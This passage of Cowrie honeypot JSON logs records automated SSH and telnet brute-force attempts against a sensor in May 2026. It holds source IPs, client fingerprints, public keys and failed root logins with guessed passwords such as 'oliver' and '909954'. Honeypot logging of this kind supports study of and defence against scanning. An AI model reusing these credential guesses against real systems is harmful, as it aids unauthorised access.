"ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.037151Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:15:81:06:28:ca:44:43:30:eb:3e:30:54:75:a5:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCrQHvVxoiMDM7pgyRMMeTKAkL8WNQQI60xDTAZAz2Uo9pj8XqxHpuSpBoG1PeTgfUwzFTfSyVQAR51QF5cElkBTlblbNciV3iuEuu4e8Sq7j5K6lrSEsoy5jatK79WK3d50817gei4kYRyhIErZl3ETtqYqZyJMEjs4HfUGnowWLx2wwkwvnJWzyOCz9FCvTtx+H3NU/4M4m+Hc1+JZsjhKHOkU1fqLHXmfL0zy8H8AyiE+8a4sw12Uoj0DpfTIvcD8WBZpN8f3u686k74MMr18Iaxh1JQ18zzs3hAFLAEttqjQUmk0PmVx+Do1+2Hl5k+7SgxvW8JSoiSMKtRpan","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:15:81:06:28:ca:44:43:30:eb:3e:30:54:75:a5:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.228001Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:15:81:06:28:ca:44:43:30:eb:3e:30:54:75:a5:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCrQHvVxoiMDM7pgyRMMeTKAkL8WNQQI60xDTAZAz2Uo9pj8XqxHpuSpBoG1PeTgfUwzFTfSyVQAR51QF5cElkBTlblbNciV3iuEuu4e8Sq7j5K6lrSEsoy5jatK79WK3d50817gei4kYRyhIErZl3ETtqYqZyJMEjs4HfUGnowWLx2wwkwvnJWzyOCz9FCvTtx+H3NU/4M4m+Hc1+JZsjhKHOkU1fqLHXmfL0zy8H8AyiE+8a4sw12Uoj0DpfTIvcD8WBZpN8f3u686k74MMr18Iaxh1JQ18zzs3hAFLAEttqjQUmk0PmVx+Do1+2Hl5k+7SgxvW8JSoiSMKtRpan","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.233034Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:06:9b:15:0a:f0:ed:f7:36:16:2a:1a:c8:bf:9e:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzu2YRBPAhMxdtVyPw1fkBkFNdZ2CCvI5XVq/jNvmVI16SoYub3XyEIs31QgiW5FC7rDMcMhaf8Yg21iqxtOdpQzL1n+NixcvAvCCKXMtUGR6ZuN9tjmTsx1pB96CdvMVaaZ2bUx1XAdX0jK4n/D1YpQrroYxdJDAKTJYqb12le1Ha205Kf6UGetwaY6aBAQpKHoxvE0lM/7+WEAGIj2qro7fTg0P7FrzLU5mW1Qv26FUXLiO8zC/+pCZgp1dSs7KpHTG1bJO+hUVs1bc9G9B+IR1bOYsNEUNhWZXvL8SZrJj4ps2b4ZTjk4o19huJJPK2JJ/AWyW1RuG2J5Ppy114w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:06:9b:15:0a:f0:ed:f7:36:16:2a:1a:c8:bf:9e:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.288211Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:06:9b:15:0a:f0:ed:f7:36:16:2a:1a:c8:bf:9e:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzu2YRBPAhMxdtVyPw1fkBkFNdZ2CCvI5XVq/jNvmVI16SoYub3XyEIs31QgiW5FC7rDMcMhaf8Yg21iqxtOdpQzL1n+NixcvAvCCKXMtUGR6ZuN9tjmTsx1pB96CdvMVaaZ2bUx1XAdX0jK4n/D1YpQrroYxdJDAKTJYqb12le1Ha205Kf6UGetwaY6aBAQpKHoxvE0lM/7+WEAGIj2qro7fTg0P7FrzLU5mW1Qv26FUXLiO8zC/+pCZgp1dSs7KpHTG1bJO+hUVs1bc9G9B+IR1bOYsNEUNhWZXvL8SZrJj4ps2b4ZTjk4o19huJJPK2JJ/AWyW1RuG2J5Ppy114w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.293310Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:0b:4f:49:0c:58:3c:54:93:79:da:0a:02:a8:45:c9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJNOj/EVNLkCLCbhSZQFuOKrLJiSMOXagqkGF8N3HPjOtBtV3rYmtv7eBKROvZAOqWhm1Q3VCxSY0IJ7XYTslZWmVCRAoIBgISVrsrasA4HsIAD5fFHxv3OK6/z4tRz3fRxvMvp/2VFilgbsIYaApiQZ67t9n5asSsiACbHlpXOVAAAAFQD28dliex3bXMBc/5UlUv29J8iVfwAAAIAnI751hwmXK7AalH/xYqHIuU6byRKWXSYqN1OLem7uxoEfbWX05c2qeQgYpnWLGV4ZMtbd7PuFakr3+GKRbfsnUuzcrgz3cnaaIwCLsrq68Xo+SLXkRNeGsZbWz5ywxpoI+FWEqlDzklaMcaYTBQL4eALjUYojLXdLZWvGTJeesAAAAIACaUV65i2TGXnaeMsd8+SQgpEQ4ldS6helPksugrP4+7sSEZqSFk3QgPuRETHUieoCB/qNdksABdrDvmN7AFu3quARsSzQ7BF6J+f04G4lRDXfMrWIsZXHU3xwYwYN7/lSFG88FS4afDPj3LAfvOFK63cQs+zCUpbXS5oPMXB55A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint cd:0b:4f:49:0c:58:3c:54:93:79:da:0a:02:a8:45:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.342388Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:0b:4f:49:0c:58:3c:54:93:79:da:0a:02:a8:45:c9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJNOj/EVNLkCLCbhSZQFuOKrLJiSMOXagqkGF8N3HPjOtBtV3rYmtv7eBKROvZAOqWhm1Q3VCxSY0IJ7XYTslZWmVCRAoIBgISVrsrasA4HsIAD5fFHxv3OK6/z4tRz3fRxvMvp/2VFilgbsIYaApiQZ67t9n5asSsiACbHlpXOVAAAAFQD28dliex3bXMBc/5UlUv29J8iVfwAAAIAnI751hwmXK7AalH/xYqHIuU6byRKWXSYqN1OLem7uxoEfbWX05c2qeQgYpnWLGV4ZMtbd7PuFakr3+GKRbfsnUuzcrgz3cnaaIwCLsrq68Xo+SLXkRNeGsZbWz5ywxpoI+FWEqlDzklaMcaYTBQL4eALjUYojLXdLZWvGTJeesAAAAIACaUV65i2TGXnaeMsd8+SQgpEQ4ldS6helPksugrP4+7sSEZqSFk3QgPuRETHUieoCB/qNdksABdrDvmN7AFu3quARsSzQ7BF6J+f04G4lRDXfMrWIsZXHU3xwYwYN7/lSFG88FS4afDPj3LAfvOFK63cQs+zCUpbXS5oPMXB55A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.347012Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:fe:d9:2a:77:d9:59:d0:4d:2e:ab:40:0e:17:16:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEArN2Kyi097YuAx9lzgceAkUp/Y2cjs/1y6b0X4QH+Hliv0oVN/fgl//L2sXzKyL35PML2dSNKOjdcHAezhF7l94FaLWPvMp7Pl0WQsPuRv9lRDp2/8Vfbrxlr5RCJzKQZdbdMu0CDK5xFKJLcHyBg9Vf+UbR6EpL/06ff2JNW6n0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:fe:d9:2a:77:d9:59:d0:4d:2e:ab:40:0e:17:16:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.404644Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:fe:d9:2a:77:d9:59:d0:4d:2e:ab:40:0e:17:16:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEArN2Kyi097YuAx9lzgceAkUp/Y2cjs/1y6b0X4QH+Hliv0oVN/fgl//L2sXzKyL35PML2dSNKOjdcHAezhF7l94FaLWPvMp7Pl0WQsPuRv9lRDp2/8Vfbrxlr5RCJzKQZdbdMu0CDK5xFKJLcHyBg9Vf+UbR6EpL/06ff2JNW6n0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.409577Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:94:e2:69:ce:d3:2c:f1:62:13:4d:18:81:b2:ea:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4G6lLfapL3WA9U2mRf+W4aCU2EGrLs+1oT+ar5nX3iq9v6yT/pac3CtfDCHgXiyvjizILrH0m1uuBqRsEy/f3GYMQS/NB6rh1NEUDIyfHpLUF8esNQsgHBf8RUsT+4ZbFWuc1DoAzkyzmwwGpzmLOaspxChlgVqyslcJZagJJ4oKQ5d+JzEqYMpKXV0lOskrIrfGsYxNIAeF3ymbOrNc5khmbVNcpliIihqFO+344UWXZHBg5sU6o4ZK8aFOT28vCTyl8IS2bFbI2MTSpTzDfSUpuF+nnlmoJHi+53Z/TGtcPTq3xFyNHkcPpnLJ99Uj8Kycgb3Lu6SLWPtV5/bb9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:94:e2:69:ce:d3:2c:f1:62:13:4d:18:81:b2:ea:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.454994Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:94:e2:69:ce:d3:2c:f1:62:13:4d:18:81:b2:ea:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4G6lLfapL3WA9U2mRf+W4aCU2EGrLs+1oT+ar5nX3iq9v6yT/pac3CtfDCHgXiyvjizILrH0m1uuBqRsEy/f3GYMQS/NB6rh1NEUDIyfHpLUF8esNQsgHBf8RUsT+4ZbFWuc1DoAzkyzmwwGpzmLOaspxChlgVqyslcJZagJJ4oKQ5d+JzEqYMpKXV0lOskrIrfGsYxNIAeF3ymbOrNc5khmbVNcpliIihqFO+344UWXZHBg5sU6o4ZK8aFOT28vCTyl8IS2bFbI2MTSpTzDfSUpuF+nnlmoJHi+53Z/TGtcPTq3xFyNHkcPpnLJ99Uj8Kycgb3Lu6SLWPtV5/bb9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.459491Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:35.503350Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.79643392562866,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:36.931073Z","src_ip":"192.119.13.58","session":"a653ab456efa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":53850,"dst_ip":"159.203.135.109","dst_port":22,"session":"31de1f3e8ac0","protocol":"ssh","message":"New connection: 37.233.85.71:53850 (159.203.135.109:22) [session: 31de1f3e8ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:40.609785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:40.616745Z","src_ip":"37.233.85.71","session":"31de1f3e8ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:40.727520Z","src_ip":"37.233.85.71","session":"31de1f3e8ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oliver","message":"login attempt [root/oliver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:41.057082Z","src_ip":"37.233.85.71","session":"31de1f3e8ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:42.169786Z","src_ip":"37.233.85.71","session":"31de1f3e8ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.88622522354126,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:00.346977Z","src_ip":"192.119.13.58","session":"292d78b74519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58986,"dst_ip":"10.17.0.5","dst_port":23,"session":"32fda84aa866","protocol":"telnet","message":"New connection: 192.119.13.58:58986 (10.17.0.5:23) [session: 32fda84aa866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:05.588292Z"}
{"eventid":"cowrie.session.closed","duration":42.02221632003784,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:07.325313Z","src_ip":"192.119.13.58","session":"8e90901b83e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":58690,"dst_ip":"10.17.0.5","dst_port":22,"session":"73903814b73b","protocol":"ssh","message":"New connection: 62.133.63.178:58690 (10.17.0.5:22) [session: 73903814b73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:08.578832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:08.585142Z","src_ip":"62.133.63.178","session":"73903814b73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:08.706352Z","src_ip":"62.133.63.178","session":"73903814b73b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43648,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b027a85f340","protocol":"telnet","message":"New connection: 192.119.13.58:43648 (10.17.0.5:23) [session: 2b027a85f340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:08.960880Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"909954","message":"login attempt [root/909954] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:09.072640Z","src_ip":"62.133.63.178","session":"73903814b73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:10.196346Z","src_ip":"62.133.63.178","session":"73903814b73b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38630,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc9f9bd445fb","protocol":"telnet","message":"New connection: 192.119.13.58:38630 (10.17.0.5:23) [session: cc9f9bd445fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:15.146962Z"}
{"eventid":"cowrie.session.closed","duration":31.535456657409668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:37.123591Z","src_ip":"192.119.13.58","session":"32fda84aa866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37190,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd0971337560","protocol":"telnet","message":"New connection: 192.119.13.58:37190 (10.17.0.5:23) [session: cd0971337560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:43.118436Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51992,"dst_ip":"10.17.0.5","dst_port":23,"session":"b512183b002c","protocol":"telnet","message":"New connection: 192.119.13.58:51992 (10.17.0.5:23) [session: b512183b002c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:46.949947Z"}
{"eventid":"cowrie.session.closed","duration":41.24049258232117,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:50.201247Z","src_ip":"192.119.13.58","session":"2b027a85f340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38754,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5d674ac614f","protocol":"telnet","message":"New connection: 192.119.13.58:38754 (10.17.0.5:23) [session: b5d674ac614f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:50.608703Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":52982,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b2e787c0961","protocol":"ssh","message":"New connection: 103.27.238.114:52982 (10.17.0.5:22) [session: 5b2e787c0961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:59.147199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:59.154423Z","src_ip":"103.27.238.114","session":"5b2e787c0961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:59.416238Z","src_ip":"103.27.238.114","session":"5b2e787c0961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48826,"dst_ip":"10.17.0.5","dst_port":23,"session":"4736571ab5c8","protocol":"telnet","message":"New connection: 192.119.13.58:48826 (10.17.0.5:23) [session: 4736571ab5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:31:59.898655Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"789789789","message":"login attempt [root/789789789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:00.202866Z","src_ip":"103.27.238.114","session":"5b2e787c0961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:01.472694Z","src_ip":"103.27.238.114","session":"5b2e787c0961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.77511167526245,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:02.921945Z","src_ip":"192.119.13.58","session":"cc9f9bd445fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33766,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d50af657631","protocol":"telnet","message":"New connection: 192.119.13.58:33766 (10.17.0.5:23) [session: 3d50af657631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:32:17.572129Z"}
